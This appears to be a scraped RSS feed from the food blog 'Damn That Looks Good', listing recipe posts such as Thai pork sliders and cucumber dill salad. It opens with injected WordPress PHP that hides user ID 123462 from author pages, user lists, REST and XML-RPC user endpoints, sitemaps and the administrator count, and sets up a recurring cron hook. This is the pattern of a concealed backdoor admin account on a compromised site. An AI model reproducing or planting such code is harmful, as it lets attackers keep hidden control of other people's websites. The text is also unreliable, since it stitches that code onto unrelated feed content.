add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

The post Grilled Sausage And Veggies first appeared on Damn That Looks Good.
]]>
The post Parmesan Tomato Focaccia Sandwich first appeared on Damn That Looks Good.
]]>The post Thai Pork Sliders With Pickled Cucumbers & Sriracha Aioli first appeared on Damn That Looks Good.
]]>
Photo courtesy of Katie At The Kitchen Door.
The post Thai Pork Sliders With Pickled Cucumbers & Sriracha Aioli first appeared on Damn That Looks Good.
]]>The post Steak & Tomato Tower first appeared on Damn That Looks Good.
]]>
A cherry tomato and samphire tower with a chive, chile and cucumber dip, and a 3 day marinated sirloin steak on a bed of baby spinach topped with coriander flowers to garnish.
The post Steak & Tomato Tower first appeared on Damn That Looks Good.
]]>The post The Gypsy first appeared on Damn That Looks Good.
]]>
A burger patty topped with Wisconsin fresh mozzarella cheese, Wisconsin parmesan cheese, peppered bacon, sliced cucumbers, sliced red onions, tomatoes, and ranch dressing.
Photo courtesy of Cheese & Burger.
The post The Gypsy first appeared on Damn That Looks Good.
]]>The post Pork Roulade first appeared on Damn That Looks Good.
]]>
The roulade is made from a pork tenderloin which was filleted, butterflied and stuffed with Spanish chorizo, and spices, rolled and wrapped in Italian panchetta, with roasted red onions, and a julienned courgette and cherry tomato tower, topped with a Greek yogurt, cucumber and chilli dip.
The post Pork Roulade first appeared on Damn That Looks Good.
]]>The post The Saturday BBQ first appeared on Damn That Looks Good.
]]>
Smoked pulled pork sandwich, smoked chicken wings, BBQ pork spare ribs, smoked beef tenderloin, spicy cajun potato salad, garden fresh pesto roma penne parmesan salad, some smoked peppers, onions, and mushrooms, and some pickled cucumbers.
The post The Saturday BBQ first appeared on Damn That Looks Good.
]]>The post Cucumber Dill Salad first appeared on Damn That Looks Good.
]]>
Thanks to Kala for the photo!
The post Cucumber Dill Salad first appeared on Damn That Looks Good.
]]>The post Cool-As-A-Cucumber Shrimp Sandwich first appeared on Damn That Looks Good.
]]>
Photo courtesy of My Recipes.
The post Cool-As-A-Cucumber Shrimp Sandwich first appeared on Damn That Looks Good.
]]>The post Barbeque Ranch Salad From The Cheesecake Factory first appeared on Damn That Looks Good.
]]>
Avocado, Tomato, Grilled Corn, Black Beans, Cucumber and Romaine all Tossed with Our Barbeque Ranch Dressing. Topped with Lots of Crispy Fried Onion Strings for crunch.
The post Barbeque Ranch Salad From The Cheesecake Factory first appeared on Damn That Looks Good.
]]>